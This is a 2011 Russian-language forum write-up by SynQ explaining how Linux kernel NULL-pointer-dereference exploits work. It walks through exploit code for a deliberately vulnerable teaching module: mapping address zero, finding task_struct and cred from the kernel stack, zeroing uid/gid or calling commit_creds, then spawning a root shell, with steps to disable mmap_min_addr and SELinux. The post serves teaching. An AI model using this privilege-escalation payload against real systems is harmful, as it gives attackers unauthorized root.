Заметка про task_struct в ядре Linux.

2011-05-04T00:00:00
ID RDOT:1451
Type rdot
Reporter SynQ
Modified 2011-05-04T00:00:00

Description

В посте оформлены кусочки инфы по структуре task_struct в ядре Linux. Ничего нового или эксклюзивного, но вероятно будет интересно тем, кто хочет разобраться в kernel части ядерных эксплойтов, не читая 1100 страниц Understanding the Linux Kernel.

Из-за внедрения в линуксе разнообразных защит ныне редко удается встретить эксплойт под такие стандартные для конца 90х - начала 2000х баги как переполнение буфера в демонах. Поэтому большой процент современных локальных эксплойтов эксплуатируют баги самого ядра линукс (их немало, вероятно, из-за большого объема кода и активной разработки).

Стандартным принципом работы ядрёных эксплойтов является инициирование выполнения кода в режиме ядра (kernel mode) по нашему указателю. Наиболее распространенным примером является тип уязвимостей NULL pointer dereference (разыменование указателя на NULL), который хорошо описан в блоге компании Ksplice [http://blog.ksplice.com/2010/04/exploiting-kernel-null-dereferences/], автор Nelson Elhage.

Пояснение работы эксплойтов приводится на основе кода, эксплуатирующего NULL pointer dereference, которая создается модулем ядра nullderef.ko из статьи с блога Ksplice (см. выше).

Поехали

Архив внизу поста содержит сам модуль ядра, а также эксплойт newrootme.c для него. Функциональность модуля состоит в выполнении кода в режиме ядра по указателю, лежащему по адресу NULL, если мы запишем что-либо в файл /sys/kernel/debug/nullderef/null_call

Код:

struct my_ops {
    ssize_t (*do_it)(void);
};

/* Define a pointer to our ops struct, "accidentally" initialized to NULL. */
static struct my_ops *ops = NULL;


/*
 * Writing to the 'null_read' file calls the do_it member of ops,
 * which results in reading a function pointer from NULL and then
 * calling it.
 */
static ssize_t null_call_write(struct file *f, const char __user *buf,
        size_t count, loff_t *off)
{
    return ops->do_it();
}

Установка модуля: make, а затем sudo ./install.sh
install.sh сделан для удобства, он содержит команды:

mount debugfs -t debugfs /sys/kernel/debug/ (необходимо для работы модуля),
insmod nullderef.ko (установка модуля),
echo 0 > /proc/sys/vm/mmap_min_addr (разрешение делать mmap по адресу NULL, это необходимо для работы эксплойта)
Offtop: начиная с ядра 2.6.23 для затруднения эксплуатация NULL pointer dereference минимальный адрес по умолчанию 4096 или выше.
Если используется SELinux, то потребуется его отключить.

Начнем разбор newrootme.c (код на pastebin: http://pastebin.com/dMdgQVE3)

Функция main():

Код:

  uid = getuid(); gid = getgid();

узнаем текущие uid и gid, которые затем будем искать в памяти и менять на рутовые 0.

Код:

  uname(&us);

узнаем версию ядра для правильной работы с ядрами >=2.6.29 (заметно поменялся формат task_struct, о чем ниже).

Код:

  prepare_kernel_cred = get_ksym("prepare_kernel_cred");
  commit_creds        = get_ksym("commit_creds");
  a_printk            = (unsigned long)get_ksym("printk");

С помощью функции get_ksym достаем соответствующие экспортируемые символы из /proc/kallsyms (они понадобятся в режиме ядра, так printk - это аналог printf).

Код:

  mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  void (**fn)(void) = NULL;
  *fn = get_root;

mmap'им страницу памяти (4kb) по адресу NULL, а затем кладем туда адрес функции get_root. По этому адресу и пойдет выполнение кода в режиме ядра после эксплуатации NULL pointer dereference в модуле ядра, который мы установили.
Это легко проверить в дебаггере (компилируем: gcc newrootme.c -o newrootme -ggdb): gdb ./newrootme

Цитата:

gdb$ b newrootme.c:131
Breakpoint 1 at 0x8048dd1: file newrootme.c, line 127.
gdb$ r
pid=2943
Breakpoint 1, main () at newrootme.c:127
131 void (fn)(void) = NULL;
gdb$ step
132 *fn = get_root;
gdb$ x/4x 0x0
0x0:
0x00000000 0x00000000 0x00000000 0x00000000
gdb$ step
135 int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY);
gdb$ x/4x 0x0
0x0:
0x08048914 0x00000000 0x00000000 0x00000000
gdb$ print get_root
$1 = {void (void)}
0x8048914** <get_root>


Как видно после выполнения *fn = get_root; по адресу NULL наблюдается адрес функции get_root().

Код:

  int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY);
  write(fd, "1", 1);

после записи единицы в /sys/kernel/debug/nullderef/null_call, модуль ядра начнет выполнять нашу функцию get_root() в режиме ядра.

Код:

  printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());

  if (getuid() == 0)
      system("/bin/sh");

здесь у нас уже должны быть привилегии рута, поэтому выводятся id'ы и если uid=0, то запускаем шелл.

Функция get_root():

Теперь функция get_root(), в которой и происходит всё действо.
В этой функции мы уже находимся в режиме ядра, поэтому надо быть осторожным и не сделать ядру oops :)

Код:

    void (*printk)(const char*fmt, ...) =  (void *) a_printk;
    printk("We're in kernel, w00t-w00t!\n");

воссоздаем ядерную функцию printk() по адресу, который мы получили из /proc/kallsyms в main(), и пишем тестовое сообщение, которое будет видно в /var/log/messages.

Код:

    int i;
    unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);

создаем переменную i в стеке ядра.
Немного теории: стек ядра делит 4кб/8кб (в зависимости от дистрибутива, чаще - 8кб) размер со структурой thread_info как видно в include/linux/sched.h:

Код:

union thread_union {
    struct thread_info thread_info;
    unsigned long stack[THREAD_SIZE/sizeof(long)];
};

Т.е. thread_info находится раньше в памяти, чем стек ядра.
Поэтому мы обнуляем младшие 13 бит адреса i (находим начало двухстраничного (8 кб) thread_union) и получаем адрес структуры thread_info.

NB: Там где thread_union занимает 4 кб (встречается очень редко) вместо 8191=0x2000-1 нужно указать 4095=0x1000-1.

NB2: обнуление 13 бит для нахождения адреса thread_info не какой-то хитрый хак, а фича линукса для быстрого нахождения адреса thread_info. Так в ядре есть следующее макро, которое делает то же самое, что и код выше:

Код:

#define current     get_current()

static inline struct task_struct *get_current(void) 
{
            register unsigned long sp asm ("sp"); 
            return (struct task_struct *)(sp & ~0x1fff);
}

Т.е. берется значение указателя стека и также обнуляются младшие 13 бит (0x1fff = 0x2000-1 = 8191)

В эксплойтах также используется вставка на асме для нахождения адреса thread_info:

Код:

    # get current task_struct...
    movl $0xffffe000, %eax
    andl %esp, %eax

Едем дальше.

Код:

    printk("i addr: 0x%lx\n", (unsigned long)&i);
    printk("thread_info addr: 0x%lx\n", (unsigned**)(((unsigned long)&i) & ~8191) );
    printk("p (task_struct) addr: 0x%lx\n", p);

Выводим в /var/log/messages адреса i, thread_info и адрес той самой task_struct из заглавия поста, который (адрес) находится в самом начале thread_info, что видно в arch/x86/include/asm/thread_info.h:

Код:

struct thread_info {
    **struct task_struct  *task;**
    struct exec_domain  *exec_domain;
    __u32                flags;
    __u32                status;
    __u32                cpu;
    int                  preempt_count;
    mm_segment_t         addr_limit;
    struct restart_block restart_block;
    void __user         *sysenter_return;
#ifdef CONFIG_X86_32
    unsigned long        previous_esp;
    __u8                 supervisor_stack[0];
#endif
    int                  uaccess_err;
};

Самое время ответить, зачем она нам нужна. Смотрим ее определение в include/linux/sched.h:

Код:

struct task_struct {
    volatile long state;    /* -1 unrunnable, 0 runnable, &gt;0 stopped */
    void *stack;
    atomic_t usage;
    unsigned int flags; /* per process flags, defined below */
    ...
/* process credentials */
**  uid_t uid,euid,suid,fsuid;
    gid_t gid,egid,sgid,fsgid;**
        struct group_info *group_info;
        kernel_cap_t   cap_effective, cap_inheritable, cap_permitted, cap_bset;
    ...

Здесь-то и хранятся id'ы, с которыми запущено наше приложение (или эксплойт). Их необходимо исправить на ноль, чтобы стать рутом. Приведенная структура task_struct действительна для ядер <2.6.29

<2.6.29

Код:

 if(!new_style) // kernel&lt;2.6.29
  {
    printk("kernel&lt;2.6.29!\n");
    for (i = 0; i &lt; 1024-13; i++) {
        if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
           {
            printk("brute: found p[0]==uid: 0x%lx\n", p);
            printk("brute: found p[1]==euid: 0x%lx\n", &p[1]);
            printk("brute: $i in cycle: 0x%d\n", i);
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
           }
        p++;
    }
  }

в переменной p лежит найденный адрес task_struct, сама task_struct имеет размер в несколько килобайт (например, ubuntu 10.04 - 3264 байт). Поэтому мы проходим память task_struct и ищем регион, в котором 4 последовательные ячейки памяти имеют значение нашего uid (uid_t uid,euid,suid,fsuid) и 4 следующие за ними ячейки имеют значение нашего gid (gid_t gid,egid,sgid,fsgid). Как находим этот регион, пишем туда нули. Всё, *id=0 :)
В /var/log/messages выводится адрес uid и euid для любопытных.

Код:

            p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;

Этот строчки зачастую необязательны, они ставят полные capabilities (kernel_cap_t cap_effective, cap_inheritable, cap_permitted).

>=2.6.29

Теперь рассмотрим код для ядер >=2.6.29. В этих ядрах id'ы хранятся не в самой task_struct, а в отдельной структуре cred, указатель на которую хранится в task_struct:

Код:

struct task_struct {
[...]
/* process credentials */
        const struct cred *real_cred;   /* objective and real subjective task
                                         * credentials (COW) */
        const struct cred *cred;        /* effective (overridable) subjective task
                                         * credentials (COW) */
[...]

А вот так выглядит структура cred:

Код:

struct cred {
        atomic_t        usage;
**        uid_t           uid;            /* real UID of the task */
        gid_t           gid;            /* real GID of the task */
        uid_t           suid;           /* saved UID of the task */
        gid_t           sgid;           /* saved GID of the task */
        uid_t           euid;           /* effective UID of the task */
        gid_t           egid;           /* effective GID of the task */
        uid_t           fsuid;          /* UID for VFS ops */
        gid_t           fsgid;          /* GID for VFS ops */**
        unsigned        securebits;     /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;       /* capability bounding set */
#ifdef CONFIG_KEYS
        unsigned char   jit_keyring;    /* default keyring to attach requested
                                         * keys to */
        struct key      *thread_keyring; /* keyring private to this thread */
        struct key      *request_key_auth; /* assumed request_key authority */
        struct thread_group_cred *tgcred; /* thread-group shared credentials */
#endif
#ifdef CONFIG_SECURITY
        void            *security;      /* subjective LSM security */
#endif
        struct user_struct *user;       /* real user ID subscription */
        struct group_info *group_info;  /* supplementary groups for euid/fsgid */
        struct rcu_head rcu;            /* RCU deletion hook */
};

Схема такая: проходим адресное пространство task_struct, выискивая 2 подряд идущих одинаковых указателя (real_cred и cred) на адрес в ядре (на x86 это >=0xc0000000). Как нашли, прыгаем туда, пропускаем первое поле (atomic_t usage) и смотрим лежат ли следующими uid, gid, suid, sgid, euid, egid, fsuid, fsgid. Если это они, то обнуляем их. Voila!

Вот так это выглядит в коде:

Код:

 else // kernel&gt;=2.6.29
  {
    printk("kernel&gt;=2.6.29!\n");
    unsigned long *cred;
    for (i = 0; i &lt; 1024; i++)
    {
        cred = (unsigned long *)p[i];
        if (cred == (unsigned long *)p[i+1] && cred &gt;(unsigned long *)0xc0000000) {
            cred++; /* Get rid of the cred's 'usage' field */
            if (cred[0] == uid && cred[1] == gid &&
                cred[2] == uid && cred[3] == gid &&
                cred[4] == uid && cred[5] == gid &&
                cred[6] == uid && cred[7] == gid)
                {
                    /* Get root */
                    printk("cred addr: 0x%lx\n", cred);
                    cred[0] = cred[2] = cred[4] = cred[6] = 0;
                    cred[1] = cred[3] = cred[5] = cred[7] = 0;
                    break;
                }
        }
    }
  }

cred = (unsigned long )p[i]; - проходим task_struct
и ищем 2 одинаковых указателя на память в адресном пространстве ядра - if (cred == (unsigned long
)p[i+1] && cred >(unsigned long *)0xc0000000) {
cred++; - пропускаем первое поле (atomic_t usage)
А дальше проверяем id'ы и обнуляем, если это то, что искали.
В /var/log/messages будет:

Цитата:

May 4 03:10:54 ubuntu kernel: [ 4942.470069] We're in kernel, w00t-w00t!
May 4 03:10:54 ubuntu kernel: [ 4942.470072] i addr: 0xd670ff4c
May 4 03:10:54 ubuntu kernel: [ 4942.470073] thread_info addr: 0xd670e000
May 4 03:10:54 ubuntu kernel: [ 4942.470074] p (task_struct) addr: 0xd0f6cc80
May 4 03:10:54 ubuntu kernel: [ 4942.470075] kernel>=2.6.29!
May 4 03:10:54 ubuntu kernel: [ 4942.470078] cred addr: 0xc668c084


commit creds on >=2.6.29

Если код прохода памяти для ядер <2.6.29 будет работать и на х86, и на х64, то код для >=2.6.29 на х64 не заработает, хотя бы из-за 0xc0000000 (на х64 PAGE_OFFSET=0xffff810000000000), возможно всплывут и другие проблемы (не тестировал).

Вообще на современных ядрах (>=2.6.29) с вводом структуры cred поменялись и рекомендации по апдейту id'ов. Теперь можно использовать функции struct cred *prepare_kernel_cred(), которая подготавливает новую структуру cred с нужными id, и commit_creds(), которая применяет новую структуру к текущему процессу.
Часть кода commit_creds() из kernel/cred.c:

Код:

         rcu_assign_pointer(task-&gt;real_cred, new);
         rcu_assign_pointer(task-&gt;cred, new);

Видно, что она меняет указатели cred и real_cred в task_struct на новую структуру, подготовленную prepare_kernel_cred()).

Для проверки работы этого способа раскомментируйте строчку //#define USECOMMITCREDS 1 в начале newrootme.c и перекомпилируйте его. Если ядро >=2.6.29 и символы prepare_kernel_cred, commit_creds экспортируются, то данный код из get_root() даст рута:

Код:

#else
  if(new_style)      
    commit_creds(prepare_kernel_cred(0));
#endif

Следует заметить, что метод прохода памяти по-прежнему придется использовать, если нет возможности узнать адреса prepare_kernel_cred или commit_creds.

Last call for alcohol

Код тестировался на:
Ubuntu 10.04 x86 (Linux ubuntu 2.6.32-24-generic #39-Ubuntu SMP Wed Jul 28 06:07:29 UTC 2010 i686 GNU/Linux)
Ubuntu 8.04 x64 (Linux ubuntu 2.6.24-26-generic #1 SMP Tue Dec 1 17:55:03 UTC 2009 x86_64 GNU/Linux)

Почитать:
Understanding the structure task_struct: <http://www.spinics.net/lists/newbies/msg11186.html>
Процессы в Linux: http://www.opennet.ru/base/dev/procc...linux.txt.html, http://www.mjmwired.net/kernel/Docum...redentials.txt
Статью twiz & sgrakkyu в 64-ом Phrack (и их же книгу A Guide to Kernel Exploitation прошлого года).

SynQ, rdot.org
5/2011